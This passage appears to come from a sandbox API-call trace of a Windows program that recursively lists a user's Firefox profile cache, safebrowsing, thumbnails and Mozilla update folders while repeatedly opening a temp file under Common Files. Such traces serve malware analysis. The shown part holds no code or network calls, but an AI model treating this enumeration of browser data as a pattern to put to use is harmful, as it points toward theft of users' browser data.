Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.957] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.957] GetLastError () returned 0x12 [0134.958] AreFileApisANSI () returned 1 [0134.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.958] GetFileType (hFile=0x190) returned 0x1 [0134.958] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.958] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.958] GetLastError () returned 0x12 [0134.958] AreFileApisANSI () returned 1 [0134.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.958] GetFileType (hFile=0x190) returned 0x1 [0134.958] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.959] AreFileApisANSI () returned 1 [0134.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.959] GetFileType (hFile=0x194) returned 0x1 [0134.959] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.959] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0134.959] GetLastError () returned 0x12 [0134.959] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0134.959] GetLastError () returned 0x12 [0134.959] AreFileApisANSI () returned 1 [0134.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0134.959] GetFileType (hFile=0x190) returned 0x1 [0134.960] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0134.960] AreFileApisANSI () returned 1 [0134.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.960] GetFileType (hFile=0x194) returned 0x1 [0135.012] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0135.012] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0135.012] GetLastError () returned 0x12 [0135.012] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0135.012] GetLastError () returned 0x12 [0135.013] AreFileApisANSI () returned 1 [0135.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0135.013] GetFileType (hFile=0x190) returned 0x1 [0135.013] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0135.013] AreFileApisANSI () returned 1 [0135.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0135.013] GetFileType (hFile=0x194) returned 0x1 [0135.013] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0135.014] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0135.014] GetLastError () returned 0x12 [0135.014] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0135.014] GetLastError () returned 0x12 [0135.014] AreFileApisANSI () returned 1 [0135.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0135.014] GetFileType (hFile=0x190) returned 0x1 [0135.014] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0135.014] AreFileApisANSI () returned 1 [0135.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0135.014] GetFileType (hFile=0x194) returned 0x1 [0135.015] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0135.015] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0135.015] GetLastError () returned 0x12 [0135.015] AreFileApisANSI () returned 1 [0135.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0135.015] GetFileType (hFile=0x194) returned 0x1 [0135.015] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0135.015] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0135.015] GetLastError () returned 0x12 [0135.015] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0135.015] GetLastError () returned 0x12 [0135.016] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0135.016] GetLastError () returned 0x12 [0135.016] AreFileApisANSI () returned 1 [0135.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0135.016] GetFileType (hFile=0x18c) returned 0x1 [0135.016] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0135.016] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0135.016] GetLastError () returned 0x12 [0135.016] AreFileApisANSI () returned 1 [0135.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0135.016] GetFileType (hFile=0x18c) returned 0x1 [0135.017] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0135.017] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0135.018] GetLastError () returned 0x12 [0135.018] AreFileApisANSI () returned 1 [0135.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0135.018] GetFileType (hFile=0x18c) returned 0x1 [0135.018] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0135.019] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0135.019] GetLastError () returned 0x12 [0135.019] AreFileApisANSI () returned 1 [0135.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0135.019] GetFileType (hFile=0x18c) returned 0x1 [0135.019] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0135.020] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0135.021] GetLastError () returned 0x12 [0135.021] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.021] GetLastError () returned 0x12 [0135.021] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0135.021] GetLastError () returned 0x12 [0135.021] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0135.021] GetLastError () returned 0x12 [0135.021] AreFileApisANSI () returned 1 [0135.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0135.021] GetFileType (hFile=0x180) returned 0x1 [0135.021] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0135.022] AreFileApisANSI () returned 1 [0135.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0135.022] GetFileType (hFile=0x184) returned 0x1 [0135.022] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0135.022] AreFileApisANSI () returned 1 [0135.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.022] GetFileType (hFile=0x188) returned 0x1 [0135.022] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.023] AreFileApisANSI () returned 1 [0135.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0135.024] GetFileType (hFile=0x18c) returned 0x1 [0135.024] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9, dwReserved1=0x0, 